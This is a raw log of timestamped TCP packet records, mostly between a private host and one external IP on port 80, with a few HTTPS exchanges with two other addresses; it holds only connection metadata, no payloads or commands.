Nov 8, 2024 15:21:20.548666000 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:20.548676968 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:20.548677921 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:20.548677921 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:20.548690081 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:20.548954964 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:20.587987900 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:20.588006973 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:20.588018894 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:20.588159084 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:20.701246023 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:20.701350927 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:20.701366901 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:20.701376915 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:20.701380014 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:20.701395035 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:20.701472998 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:20.701484919 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:20.701492071 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:20.701503992 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:20.701510906 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:20.701569080 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:20.701569080 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:20.701685905 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:20.701699972 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:20.701738119 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:20.701806068 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:20.701850891 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:20.701862097 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:20.701863050 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:20.701883078 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:20.701894045 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:20.701904058 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:20.701929092 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:20.701958895 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:20.701992035 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:20.702023029 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:20.702035904 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:20.702083111 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:20.702083111 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:20.702135086 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:20.702147961 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:20.702188969 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:20.702188969 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:20.702229023 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:20.702291012 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:20.702302933 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:20.702320099 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:20.702388048 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:20.702400923 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:20.702418089 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:20.702476025 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:20.702506065 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:20.702534914 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:20.702548027 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:20.702600956 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:20.702615976 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:20.702616930 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:20.702790022 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:20.713677883 CET	443	49832	23.38.189.114	192.168.2.8
Nov 8, 2024 15:21:20.716551065 CET	49832	443	192.168.2.8	23.38.189.114
Nov 8, 2024 15:21:20.716573954 CET	443	49832	23.38.189.114	192.168.2.8
Nov 8, 2024 15:21:20.716921091 CET	443	49832	23.38.189.114	192.168.2.8
Nov 8, 2024 15:21:20.717592955 CET	49832	443	192.168.2.8	23.38.189.114
Nov 8, 2024 15:21:20.717649937 CET	443	49832	23.38.189.114	192.168.2.8
Nov 8, 2024 15:21:20.719665051 CET	49832	443	192.168.2.8	23.38.189.114
Nov 8, 2024 15:21:20.742652893 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:20.742669106 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:20.742681980 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:20.742722034 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:20.742734909 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:20.742773056 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:20.742964029 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:20.763329983 CET	443	49832	23.38.189.114	192.168.2.8
Nov 8, 2024 15:21:20.823579073 CET	49703	443	192.168.2.8	23.206.229.226
Nov 8, 2024 15:21:20.823682070 CET	49703	443	192.168.2.8	23.206.229.226
Nov 8, 2024 15:21:20.824218035 CET	49833	443	192.168.2.8	23.206.229.226
Nov 8, 2024 15:21:20.824244976 CET	443	49833	23.206.229.226	192.168.2.8
Nov 8, 2024 15:21:20.827842951 CET	49833	443	192.168.2.8	23.206.229.226
Nov 8, 2024 15:21:20.828486919 CET	443	49703	23.206.229.226	192.168.2.8
Nov 8, 2024 15:21:20.828650951 CET	443	49703	23.206.229.226	192.168.2.8
Nov 8, 2024 15:21:20.847794056 CET	443	49832	23.38.189.114	192.168.2.8
Nov 8, 2024 15:21:20.847834110 CET	443	49832	23.38.189.114	192.168.2.8
Nov 8, 2024 15:21:20.847901106 CET	443	49832	23.38.189.114	192.168.2.8
Nov 8, 2024 15:21:20.847934961 CET	49832	443	192.168.2.8	23.38.189.114
Nov 8, 2024 15:21:20.848196983 CET	49832	443	192.168.2.8	23.38.189.114
Nov 8, 2024 15:21:20.853739023 CET	49832	443	192.168.2.8	23.38.189.114
Nov 8, 2024 15:21:20.853756905 CET	443	49832	23.38.189.114	192.168.2.8
Nov 8, 2024 15:21:20.856039047 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:20.856059074 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:20.856066942 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:20.856087923 CET	49834	443	192.168.2.8	23.38.189.114
Nov 8, 2024 15:21:20.856108904 CET	443	49834	23.38.189.114	192.168.2.8
Nov 8, 2024 15:21:20.856122971 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:20.856133938 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:20.856147051 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:20.856172085 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:20.856184006 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:20.856201887 CET	49834	443	192.168.2.8	23.38.189.114
Nov 8, 2024 15:21:20.856218100 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:20.856245995 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:20.856245995 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:20.856267929 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:20.856301069 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:20.856336117 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:20.856347084 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:20.856369972 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:20.856404066 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:20.856435061 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:20.856451988 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:20.856472969 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:20.856509924 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:20.856509924 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:20.856533051 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:20.856597900 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:20.856609106 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:20.856611013 CET	49834	443	192.168.2.8	23.38.189.114
Nov 8, 2024 15:21:20.856625080 CET	443	49834	23.38.189.114	192.168.2.8
Nov 8, 2024 15:21:20.856625080 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:20.856630087 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:20.856650114 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:20.856664896 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:20.856717110 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:20.856724024 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:20.856751919 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:20.856755018 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:20.856775999 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:20.856801033 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:20.856832981 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:20.856878996 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:20.856889963 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:20.856925011 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:20.856939077 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:20.856991053 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:20.857034922 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:20.857047081 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:20.857054949 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:20.857095003 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:20.857095003 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:20.857139111 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:20.857150078 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:20.857172012 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:20.857218981 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:20.857249022 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:20.857261896 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:20.857271910 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:20.857317924 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:20.857384920 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:20.857434988 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:20.857522964 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:20.876938105 CET	49833	443	192.168.2.8	23.206.229.226
Nov 8, 2024 15:21:20.876960993 CET	443	49833	23.206.229.226	192.168.2.8
Nov 8, 2024 15:21:20.897310019 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:20.897454023 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:20.897465944 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:20.897478104 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:20.897488117 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:20.897505999 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:20.897572994 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:20.899693966 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:21.011236906 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:21.011370897 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:21.011382103 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:21.011423111 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:21.011434078 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:21.011445999 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:21.011462927 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:21.011482000 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:21.011512995 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:21.011512995 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:21.011594057 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:21.011658907 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:21.011665106 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:21.011688948 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:21.011770010 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:21.011781931 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:21.011791945 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:21.011810064 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:21.011830091 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:21.011830091 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:21.011910915 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:21.011954069 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:21.011965036 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:21.012047052 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:21.012073040 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:21.012085915 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:21.012145996 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:21.012145996 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:21.012219906 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:21.012232065 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:21.012242079 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:21.012254000 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:21.012263060 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:21.012265921 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:21.012375116 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:21.012375116 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:21.012559891 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:21.012572050 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:21.012583971 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:21.012594938 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:21.012607098 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:21.012629986 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:21.012629986 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:21.012887955 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:21.051918030 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:21.051975965 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:21.051985979 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:21.052054882 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:21.052078009 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:21.052126884 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:21.052136898 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:21.052212954 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:21.052225113 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:21.052237034 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:21.052248001 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:21.052258015 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:21.052258015 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:21.052532911 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:21.166068077 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:21.166127920 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:21.166141033 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:21.166225910 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:21.166255951 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:21.166270018 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:21.166332006 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:21.166333914 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:21.166347980 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:21.166361094 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:21.166456938 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:21.166459084 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:21.166470051 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:21.166531086 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:21.166551113 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:21.166563034 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:21.166661978 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:21.166672945 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:21.166718006 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:21.166718006 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:21.166765928 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:21.166776896 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:21.166789055 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:21.166815996 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:21.166929007 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:21.166970968 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:21.166996002 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:21.166996002 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:21.167069912 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:21.167087078 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:21.167104006 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:21.167112112 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:21.167202950 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:21.167222023 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:21.167246103 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:21.167246103 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:21.167356968 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:21.167372942 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:21.167417049 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:21.167417049 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:21.167417049 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:21.167438984 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:21.167448997 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:21.167618036 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:21.206739902 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:21.206763029 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:21.206773996 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:21.206799030 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:21.206849098 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:21.206897974 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:21.206909895 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:21.206923008 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:21.206932068 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:21.206948042 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:21.206970930 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:21.206970930 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:21.207071066 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:21.207082987 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:21.207093954 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:21.207109928 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:21.207159042 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:21.247648954 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:21.247772932 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:21.247785091 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:21.247797966 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:21.247812986 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:21.247862101 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:21.247862101 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:21.320684910 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:21.320749044 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:21.320888996 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:21.320933104 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:21.320966959 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:21.321007013 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:21.321014881 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:21.321026087 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:21.321048975 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:21.321074963 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:21.321074963 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:21.321116924 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:21.321122885 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:21.321130991 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:21.321142912 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:21.321156979 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:21.321192026 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:21.321192026 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:21.321238041 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:21.321290970 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:21.321321964 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:21.321336031 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:21.321366072 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:21.321408987 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:21.321443081 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:21.321455956 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:21.321484089 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:21.321501970 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:21.321558952 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:21.321573019 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:21.321616888 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:21.321616888 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:21.321686029 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:21.321697950 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:21.321741104 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:21.321741104 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:21.321758986 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:21.321769953 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:21.321799994 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:21.321847916 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:21.321860075 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:21.321921110 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:21.321921110 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:21.321959019 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:21.321970940 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:21.322048903 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:21.322088003 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:21.322102070 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:21.322112083 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:21.322132111 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:21.322140932 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:21.322181940 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:21.322182894 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:21.322297096 CET	80	49753	185.215.113.206	192.168.2.8
